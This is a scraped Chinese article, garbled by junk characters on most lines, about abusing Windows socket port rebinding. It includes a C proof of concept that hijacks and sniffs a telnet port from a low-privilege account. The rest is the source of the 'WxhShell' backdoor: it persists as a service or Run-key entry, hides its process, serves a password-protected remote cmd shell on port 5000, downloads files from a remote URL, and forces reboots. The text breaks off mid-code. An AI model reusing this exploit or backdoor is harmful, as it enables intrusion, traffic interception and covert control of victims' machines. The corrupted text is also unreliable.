在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Gdr7d s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
m, SWG[~ i+|/V[ saddr.sin_family = AF_INET;
7Pr5`#x# J6J;
!~>_ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
fRt&-z(' A[Vhy;xz bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
6z5?9I4[ ?e hUGvV2 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
AE4>pzBe 4K! @9+Mz 这意味着什么?意味着可以进行如下的攻击:
%)L|7v< #rx@
2zi 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
JjG>$z Gx-tPW} 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
;CA7\&L> 0{>P^z 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
"0 {t~?ol \)BDl 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
88+J(^y> =mh)b]].4\ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
k^\>=JTq= &uxwz@RC0 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
D?P1\<A~ zqb3<WP" 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
yQ+C}8r5 ~'/_q4 #include
_pR7sNe V #include
<9Pf]
G= #include
G `JXi/#` #include
k&3'[&$I*, DWORD WINAPI ClientThread(LPVOID lpParam);
\Zo
xJ& int main()
i)+2?<] {
l}mzCIw% WORD wVersionRequested;
eX9H/&g DWORD ret;
qjd8Q WSADATA wsaData;
Z sbE BOOL val;
A[X~:p.^G SOCKADDR_IN saddr;
VTxLBFK; SOCKADDR_IN scaddr;
30$Q5]T int err;
JS! SOCKET s;
{;ur~KE SOCKET sc;
/(skIvE| int caddsize;
Zkn1@a HANDLE mt;
cG I^IPI DWORD tid;
6WX+p3Kv wVersionRequested = MAKEWORD( 2, 2 );
#[ hJm'G err = WSAStartup( wVersionRequested, &wsaData );
U)grC8 C if ( err != 0 ) {
i:,37INMt printf("error!WSAStartup failed!\n");
s1NRUV2E return -1;
cdfvc0 }
QyX ? saddr.sin_family = AF_INET;
olO&7jh7| ~85Pgb< //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
p*Hbc|?{Q& J2adA9R/, saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
8k`rj; saddr.sin_port = htons(23);
j{u!/FD if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
kKRZ79"7s {
zE\@x+k. printf("error!socket failed!\n");
QGV~Y+ return -1;
~#jD/ }
T'nQj<dBt: val = TRUE;
4`#3p@- //SO_REUSEADDR选项就是可以实现端口重绑定的
G\:^9!nwY~ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
`CQMvX{ {
L(i*v5? printf("error!setsockopt failed!\n");
0qrsf! return -1;
fUgI*V }
7J@D})si //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
T5+iX`#M //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
aD:vNX //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
2v6QUf #]!0$z|Z if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
;/8oP ;X2 {
T7{Z0- ret=GetLastError();
`Vqpo/ printf("error!bind failed!\n");
)m Uc
!TP return -1;
uT??t=vb }
U,4:yc,)s listen(s,2);
dM1)wkbET while(1)
/U#{6zeM[, {
d8? }69:h caddsize = sizeof(scaddr);
}#/,nJm' //接受连接请求
-
zQ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
P]@m0f if(sc!=INVALID_SOCKET)
0=r.I}x {
'_~=C-g mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
8U07]=Bt< if(mt==NULL)
D$RQD{* {
G,8LF/sR printf("Thread Creat Failed!\n");
Ta38/v;S break;
{yy^DlHb }
IZ;%lV7t }
~ YKBxt CloseHandle(mt);
n(gw%w+\7 }
j6~#_t[ closesocket(s);
4 }l,F WSACleanup();
%<oey%ue return 0;
i`^`^Ka }
hY.zwotH DWORD WINAPI ClientThread(LPVOID lpParam)
%/:{x()G
{
J@y1L]: SOCKET ss = (SOCKET)lpParam;
-O2ZrJ!q SOCKET sc;
l("Dw8H unsigned char buf[4096];
h,q%MZ==^s SOCKADDR_IN saddr;
?6!7fs, long num;
PX3rHKK{ DWORD val;
/!kKL$j DWORD ret;
mJu;B3@
//如果是隐藏端口应用的话,可以在此处加一些判断
cPxA
R]'U //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
J(0.eD91v saddr.sin_family = AF_INET;
[e
)j,Q1 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
5uK:f\y)l saddr.sin_port = htons(23);
)g:\N8AZK if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
FLO#!G {
Ctxs]S tU% printf("error!socket failed!\n");
bmotR8d return -1;
jd$uOn.r }
}!\ZJo a val = 100;
2;G^>BP< if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
}"<|.[V) {
31LXzQvFG
ret = GetLastError();
/a%5!)NE% return -1;
_](vt,|L }
yVm~5Y&Z if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
s#ijpc>h {
-DrR6kGjR ret = GetLastError();
dF*@G/p>V return -1;
e%&2tf4 }
EZz Ox(g if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
%0}qMYS {
15_OtK printf("error!socket connect failed!\n");
*doK$wYP closesocket(sc);
TdI5{?sW closesocket(ss);
vBUx)l return -1;
.Y!*6I }
2H_|Attoi while(1)
:04sB]H {
SIjdwr!+ZZ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
kC"<4U //如果是嗅探内容的话,可以再此处进行内容分析和记录
eOjoxnD-$ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
etj8M
y6= num = recv(ss,buf,4096,0);
QF(.fq8, U if(num>0)
@@7<L send(sc,buf,num,0);
wxXp(o( else if(num==0)
j0!Z 20 break;
M"2Tuwz num = recv(sc,buf,4096,0);
KFdTw{GlJ7 if(num>0)
Qwb=N send(ss,buf,num,0);
nnX,_5s else if(num==0)
7wsn8_n9 break;
tK6z#) }
}3F8[Td.~N closesocket(ss);
jpZ, $ closesocket(sc);
&,2h=H,M return 0 ;
@Hj5ZJ
3 }
v!T%xUb0 ;1&%Wj"d =vMFCp;mv ==========================================================
zME75;{ u?Jw) ` 下边附上一个代码,,WXhSHELL
o ^L3Xiv Eym<DPu$n ==========================================================
Z 9mY*}:U~ eKNZ?!c= #include "stdafx.h"
T>s~bIzL*e Vo<V!G{ #include <stdio.h>
ULqnr@/FbK #include <string.h>
\ Q<c Y< #include <windows.h>
C
Fq3 #include <winsock2.h>
XtVx
H4q #include <winsvc.h>
*Hy-D</w% #include <urlmon.h>
'9%72yG cq+|fg~Yy #pragma comment (lib, "Ws2_32.lib")
$5ZBNGr #pragma comment (lib, "urlmon.lib")
&U ]L@]x PXG)?`^NX #define MAX_USER 100 // 最大客户端连接数
{A]"/AC #define BUF_SOCK 200 // sock buffer
;@GlJ
'$; #define KEY_BUFF 255 // 输入 buffer
`P<}MeJ\l (:Rj:8{ #define REBOOT 0 // 重启
9F)+p7VJq #define SHUTDOWN 1 // 关机
FjqoO. *n dXZ64 #define DEF_PORT 5000 // 监听端口
L\}o(P( Cqy84!Z< #define REG_LEN 16 // 注册表键长度
K>X#,lE- #define SVC_LEN 80 // NT服务名长度
$L_-U~^ Aq%TZ_m // 从dll定义API
<7R\# typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
&2[OH}4 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
m`gH5vQa typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
G=Hvh=K( typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
;QkUW<( {J;[
Hf5 // wxhshell配置信息
SYd4 3PA struct WSCFG {
Z8*E-y0 int ws_port; // 监听端口
~kPHf_B;z char ws_passstr[REG_LEN]; // 口令
_SdO}AiG int ws_autoins; // 安装标记, 1=yes 0=no
"C %<R char ws_regname[REG_LEN]; // 注册表键名
m/uBM6SXx char ws_svcname[REG_LEN]; // 服务名
cO%-Av~P char ws_svcdisp[SVC_LEN]; // 服务显示名
{Qbg'|HO=l char ws_svcdesc[SVC_LEN]; // 服务描述信息
5'wWj}0!% char ws_passmsg[SVC_LEN]; // 密码输入提示信息
=]jc{Y%o int ws_downexe; // 下载执行标记, 1=yes 0=no
VWf&F`^B( char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
TG9 a1q char ws_filenam[SVC_LEN]; // 下载后保存的文件名
,Z*&QR Hc^q_{}" };
!m8MyZ}% )(yD"]co // default Wxhshell configuration
y "6;O 0 struct WSCFG wscfg={DEF_PORT,
{7swE(N "xuhuanlingzhe",
6D3hX>K4 1,
LG3D3{H(. "Wxhshell",
o;5 J= "Wxhshell",
1) 7n
( "WxhShell Service",
=y+gS%o$ "Wrsky Windows CmdShell Service",
vpnQ s#8O "Please Input Your Password: ",
R5OP=Q 8 1,
+l'l*< "
http://www.wrsky.com/wxhshell.exe",
%gUf "Wxhshell.exe"
7[=*#7}. };
[`pp[J-~7 SR)jJ=R3 // 消息定义模块
ou8V7 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
! Rr k char *msg_ws_prompt="\n\r? for help\n\r#>";
z OwKh>] char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Xc8r[dX char *msg_ws_ext="\n\rExit.";
LB9D6,*t char *msg_ws_end="\n\rQuit.";
Y$JGpeq8w char *msg_ws_boot="\n\rReboot...";
y2Eq-Ie char *msg_ws_poff="\n\rShutdown...";
Xa o*h(Q@L char *msg_ws_down="\n\rSave to ";
Z*uv~0a>9Q h[eC i char *msg_ws_err="\n\rErr!";
uBpnfIe char *msg_ws_ok="\n\rOK!";
<46>v< 1M@OBfB8 char ExeFile[MAX_PATH];
M9[52D!{ int nUser = 0;
YA+jLy6ZL HANDLE handles[MAX_USER];
?XCFRt,ol int OsIsNt;
lL8pIcQW H(|n,c SERVICE_STATUS serviceStatus;
ky4;7RK SERVICE_STATUS_HANDLE hServiceStatusHandle;
FR*CiaD1 hSAdD! // 函数声明
AS1#_fC int Install(void);
GgT 5'e;N int Uninstall(void);
y5@#leM int DownloadFile(char *sURL, SOCKET wsh);
VrQgn9L int Boot(int flag);
5;v_?M!UCK void HideProc(void);
+"mS< int GetOsVer(void);
h@kq>no int Wxhshell(SOCKET wsl);
jpwR\"UJ void TalkWithClient(void *cs);
PI G3kJ int CmdShell(SOCKET sock);
O$eNG$7 int StartFromService(void);
1R-1#<a>& int StartWxhshell(LPSTR lpCmdLine);
"FD`1
lL\%eQ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
}>93X0%r VOID WINAPI NTServiceHandler( DWORD fdwControl );
Fal##6B w]@H]>sHd // 数据结构和表定义
mV>l`&K= SERVICE_TABLE_ENTRY DispatchTable[] =
H|\@[:A+ {
8_W=)w6 {wscfg.ws_svcname, NTServiceMain},
rtSG-_[i {NULL, NULL}
;OMR5KAz };
?8U#,qq#` C(%b!Q,2 // 自我安装
02$d int Install(void)
AONEUSxJ {
B}(r>8?dm char svExeFile[MAX_PATH];
u+7S/9q8 HKEY key;
y:HH@aa) strcpy(svExeFile,ExeFile);
#}p@+rkg2 K0aT(Rc
e // 如果是win9x系统,修改注册表设为自启动
A:$4cacu9 if(!OsIsNt) {
eG_@WLxwD if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
P:#KBF;a RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
wPE\?en RegCloseKey(key);
+dG3/vV if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
H:#sf][&,L RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
P#!^9)3 RegCloseKey(key);
O7"16~a return 0;
@=ro/. }
d=nv61] }
$2E&~W % }
h/oC9?v else {
<*Gd0 v% *t{^P*pc // 如果是NT以上系统,安装为系统服务
>~;=
j~ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
4{QD: D(D if (schSCManager!=0)
;?G.., {
I}sb0 Q& SC_HANDLE schService = CreateService
|yinV fZ0C (
|}o6N5) schSCManager,
e?7Oom wscfg.ws_svcname,
q4T98s2J wscfg.ws_svcdisp,
i+Lqj SERVICE_ALL_ACCESS,
w{WEYS SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
8|{d1dy SERVICE_AUTO_START,
:V0sKg|sS SERVICE_ERROR_NORMAL,
#F=!g? svExeFile,
?j;,:n NULL,
der\"?_. NULL,
r>ag(^J\ NULL,
O)!S[5YI NULL,
7O-fc1OTv NULL
z5J$".O` );
n52Q-6H if (schService!=0)
G ?Hx"3:? {
I}+9@d CloseServiceHandle(schService);
r4M;] CloseServiceHandle(schSCManager);
w|1O-k` strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
7NRm\%^q strcat(svExeFile,wscfg.ws_svcname);
? _7iL? if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
aH_0EBRc RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
6~-,.{Y RegCloseKey(key);
#}lWM%9Dy return 0;
v?YxF} }
aL&nD1f=!- }
d2?#&d'aq CloseServiceHandle(schSCManager);
s o7.$]aV }
zHKx,]9b }
(<}BlL @1A.$: return 1;
P Ij }
r=/$}l4 ?=im~ // 自我卸载
:'FCeS9 int Uninstall(void)
Jflm-Hhsf {
2wJa:=$ HKEY key;
YkbuyUui 26;Gt8 if(!OsIsNt) {
F5y&"Y_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
ME66BWg{ RegDeleteValue(key,wscfg.ws_regname);
I+,CiJ|4 RegCloseKey(key);
"A> _U<Y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
e{H( RegDeleteValue(key,wscfg.ws_regname);
~e&O?X RegCloseKey(key);
?G<ISiABQC return 0;
`2/V.REX$h }
-Iis/Xw: }
];'7~",Y }
tAPf#7{|
else {
^H -a@QM phQ{<wzwp SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
((&5F!+\- if (schSCManager!=0)
6a<zZO`Z6+ {
.K]Uk/W SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
:cf#Tpq" if (schService!=0)
?E<9H/ {
^wD`sj<Qg if(DeleteService(schService)!=0) {
]57yorc` CloseServiceHandle(schService);
==BOW\ CloseServiceHandle(schSCManager);
:G#+5 } return 0;
_Ie:!q }
U^eos;:s8 CloseServiceHandle(schService);
_ds;:*N+qA }
{5fL!`6w CloseServiceHandle(schSCManager);
$U7#3-' }
p I~;3T:! }
!>V)x /::Y &&$f return 1;
wFMw&=j }
Zu<S<??Jf B*Ey&DAV // 从指定url下载文件
nW}
s int DownloadFile(char *sURL, SOCKET wsh)
1w,34*- } {
)Ay 90Wt HRESULT hr;
k]^ya?O]p char seps[]= "/";
c%bzrYQvA; char *token;
>t<\zC|~w char *file;
"$aoI Xv char myURL[MAX_PATH];
3Fxr= char myFILE[MAX_PATH];
@SyL1yFX ksCF"o/@V strcpy(myURL,sURL);
lD, ~% token=strtok(myURL,seps);
j@w1S[vt while(token!=NULL)
9UVT]acq {
oam;hmw file=token;
>x3lA0m token=strtok(NULL,seps);
*G7cF }
UG=]8YY!
YaL:6[6 GetCurrentDirectory(MAX_PATH,myFILE);
5@-H8* strcat(myFILE, "\\");
(KwC,0p strcat(myFILE, file);
vj344B send(wsh,myFILE,strlen(myFILE),0);
VX82n,'=t send(wsh,"...",3,0);
dGi
HO hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
.Zj`_5C if(hr==S_OK)
}r! +wp return 0;
Wy*+8~@A else
<,rOsE6 return 1;
77y+ik <9piKtb|L }
dq`{fqGl 7Xu# |k // 系统电源模块
{=?(v`88 int Boot(int flag)
}]PHE(}7 {
6
Bdxdx*zt HANDLE hToken;
HZZZ [km TOKEN_PRIVILEGES tkp;
1Y J?Y @4D{lb"{ if(OsIsNt) {
;>f\fhi' OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
mJ=V<_ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
hc+B+-, tkp.PrivilegeCount = 1;
KYtCN+vsG tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
-egnMc67 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
1}c'UEr%) if(flag==REBOOT) {
5lJL[{ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
)\ceanS return 0;
DKu$u ]Z }
<Q/)SN6_E else {
~/9RSdv7 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
e\cyiW0 return 0;
.=TXi<8Brw }
BZHoRd{EH }
9\<q=p~ else {
Z#-N$%^F if(flag==REBOOT) {
[}j a\!P if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Z|$DchC
return 0;
}O
$]xB }
R"V90b Cf else {
zMu9A| if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
;"x+V gS' return 0;
g.@[mf0r }
#jrlNg4( }
_^#eO`4" 3&7? eO7* return 1;
vm_]X{80; }
3PZ(Kn< 4S~kNp$ // win9x进程隐藏模块
69)"T{7 void HideProc(void)
rFpYlMct {
(w)%2vZ^ [)s4:V HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
8IRKCuV if ( hKernel != NULL )
7<!x:G?C {
n19A>,m pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
`|?<KF164 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
'QG`^@Z FreeLibrary(hKernel);
5~?6]=hl }
SfC* ZM}< l3>e-kP return;
1L4-;HYJm }
QJ;dw8 /X.zt
` // 获取操作系统版本
Od~uYOL/B int GetOsVer(void)
V&:x+swt {
uK$ Xqo%L OSVERSIONINFO winfo;
U@y)x+: winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
FsJk"$} GetVersionEx(&winfo);
mz6]=]1w if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
7WS$fUBi return 1;
0a{hCx|$J else
NL$z4m0 return 0;
;!S5P( }
\^"Vqx sED"}F) // 客户端句柄模块
5uQ+'*xN% int Wxhshell(SOCKET wsl)
6CHb\k {
4h|*r ! SOCKET wsh;
gR# k' struct sockaddr_in client;
4x[_lsj DWORD myID;
7:?\1a ~9FL]qo while(nUser<MAX_USER)
"NLuAB.P {
%6uZb sa
int nSize=sizeof(client);
A1+:y,wXs wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
SkmTW@v if(wsh==INVALID_SOCKET) return 1;
nL=+`aq_ NT5=%X] handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
+S0aA Wal if(handles[nUser]==0)
}WIkNG4{Z closesocket(wsh);
.cJoNl'q else
;UTM9.o[ nUser++;
tdxzs_V,- }
M{G}-QK_. WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
CdRJ@Lf mbkt7. ,P return 0;
\f^xlX3&` }
w6!97x <DR|r // 关闭 socket
qA!p7"m| void CloseIt(SOCKET wsh)
u*2?Gky {
*4%pXm; closesocket(wsh);
k*N!U[] nUser--;
n46!H0mJ ExitThread(0);
P*iC#w]m }
G$TO'Ciu: Z[*unIk // 客户端请求句柄
BZQ}c<Nl void TalkWithClient(void *cs)
f4P({V {
(+(@P*c1 |D-[M_T5 SOCKET wsh=(SOCKET)cs;
L#K`F8Wi= char pwd[SVC_LEN];
W/BPf{U char cmd[KEY_BUFF];
&j1-Ouy char chr[1];
*
rlVE int i,j;
q{9 \hEeb z7IJSj1gQI while (nUser < MAX_USER) {
?}8r h% hH5~T5?\ if(wscfg.ws_passstr) {
#'1dCh
vZ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
3A`]Rk
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
/J-'[Mc'D[ //ZeroMemory(pwd,KEY_BUFF);
>Vt2@Ee i=0;
[A =0fg5 while(i<SVC_LEN) {
]P wS3:x Wj,s/Yr: // 设置超时
Sk+XBX(} fd_set FdRead;
$|g1 _;(G struct timeval TimeOut;
i,ZEUdd*_ FD_ZERO(&FdRead);
Nf!N;Cy? FD_SET(wsh,&FdRead);
oB5\^V$ TimeOut.tv_sec=8;
n?cC]k;P~ TimeOut.tv_usec=0;
ZAfuW^r int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
x @q.u3o9 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
nC,QvV !0?o3,of- if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
.+(V</ pwd
=chr[0]; @ U=y}vi8
if(chr[0]==0xd || chr[0]==0xa) { 34!.5^T
pwd=0; kll!tT-N-
break; n-8/CBEH(
} &Iy5@8
i++; xk~gGT&
} FhUi{`
C lf;+G0
// 如果是非法用户,关闭 socket ' F.^ 8/>
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); wJ2cAX;"
} 13F]7l-#
<$-^^b(y
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); G(wK(P0j
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bgBvzV&'8
dlfjx
while(1) { r2\%/9uO
h# 4n
ZeroMemory(cmd,KEY_BUFF); +
GQ{{B
HL"c yxe
// 自动支持客户端 telnet标准 vVo'f|fW
j=0; VI4mEq,V
while(j<KEY_BUFF) { *O'|NQhNx>
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cJ$jU{}
cmd[j]=chr[0]; neM)(` gp
if(chr[0]==0xa || chr[0]==0xd) { 8[J%TWq%9
cmd[j]=0; VC/n}7p
break; m
uO.
} HcIJ&".~
j++; wicsf<]
} ?P[:,0_
3LfF{ED@
// 下载文件 p3 5)K5V
if(strstr(cmd,"http://")) { +3.9)w
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]'xci"qV`
if(DownloadFile(cmd,wsh)) zNo,PERG
send(wsh,msg_ws_err,strlen(msg_ws_err),0); _Kaqx"D
else jGo%Aase
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E va&/o?P|
} P<R^eLZ<&
else { =I'iD0eR
IIY_Q9in
switch(cmd[0]) { A<c<!N
iSf%N>y'K
// 帮助 -S]ercar
case '?': { UNb7WN
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); I(VqtC:K.
break; zu?112-v2
} `m(ZX\W]
// 安装 )XonFI
case 'i': { 6
DQOar>d
if(Install()) $,Xn@4
send(wsh,msg_ws_err,strlen(msg_ws_err),0); *bpN!2
else y g(Na
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cG0)F%?X?
break; ^n~Kr1}nj
} 31^/9lb
// 卸载 K3:z5j.X
case 'r': { oO[eer_S-
if(Uninstall()) :K~@JlJd
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y{j~;G@Wl
else +?6]Vu&|f
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C&0f8PnD
break; ?3DFm
} RvA "ug.*
// 显示 wxhshell 所在路径 $9\8?gS
case 'p': { l5^Q
char svExeFile[MAX_PATH]; O2 Y|<m
strcpy(svExeFile,"\n\r"); ]E"J^mflGK
strcat(svExeFile,ExeFile); %9zpPrWF
send(wsh,svExeFile,strlen(svExeFile),0); n,2 p)#?
break; [4qvQ7Y
!
} MbYgGE,LA
// 重启 1^NC=IS9z
case 'b': { ;FwUUKj
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); a {7*um
if(Boot(REBOOT)) @)Vb?|3
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4
w*m]D{
else { 4Kj8i
closesocket(wsh); am5;B`}q
ExitThread(0); =4x6v<
} :twp95{R1
break; ?-&k?I
} nO`[C=|
// 关机 ql.[Uq
case 'd': { 7C2Xy>d~
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 76[qFz
if(Boot(SHUTDOWN)) !|VtI$I>x
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]Y?ZUSCJ
else { ]c_lNHssmq
closesocket(wsh); ,%/F,O+#
ExitThread(0); s!gVY!0
} K
..Pn17t
break; VZamR}x
} JUGq\b&m
// 获取shell d/T Fx
case 's': { b't6ekkN
CmdShell(wsh); -
]We|{
closesocket(wsh); WB (?6"
ExitThread(0); ZrP
8/>
break; H,;ZFg /v8
} 7Fa<m]k
// 退出 t,w/L*r+w
case 'x': { c-7Zk!LfD
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); " E5=AWd
CloseIt(wsh); kMzDmgoxNg
break; P-^-~/>n
}
iH>JR[A
// 离开 bjj
F{T
case 'q': { C_[
d
send(wsh,msg_ws_end,strlen(msg_ws_end),0); $y<`Jy]+)~
closesocket(wsh); ZS3T1
<z
WSACleanup(); &QHmo*
exit(1); us8ce+
break; V~.SgbLc
} (Ze\<Y#cv
} h52+f
} 1-4[w
*u>
rw@N=`4P
// 提示信息 3!?QQT,!)
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LBpAR|
} RHu,t5,
} )OlYz!#?
|~Awm"
return; Xn!=/<TIVz
} DAN"&&
FNl^ lj`Y
// shell模块句柄 HW6Cz>WxOW
int CmdShell(SOCKET sock) Frhm4H%,_R
{ (hY^E(D
STARTUPINFO si; h^K>(x
ZeroMemory(&si,sizeof(si)); "VsS-b^ P
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4uVyf^f\]f
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !C.{nOfyv
PROCESS_INFORMATION ProcessInfo; e
[F33%
char cmdline[]="cmd"; ryd}-_LL
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =Y3 d~~
return 0; Y(R],9h8
} pAEJ=Te
{#{nU NW
// 自身启动模式 ,.gI'YPQC
int StartFromService(void) sg]g;U
{ q 7+ |U%!9
typedef struct 38JU-aq
{ /#xYy^`
DWORD ExitStatus; SYOU&*
DWORD PebBaseAddress; Y}x_ud,
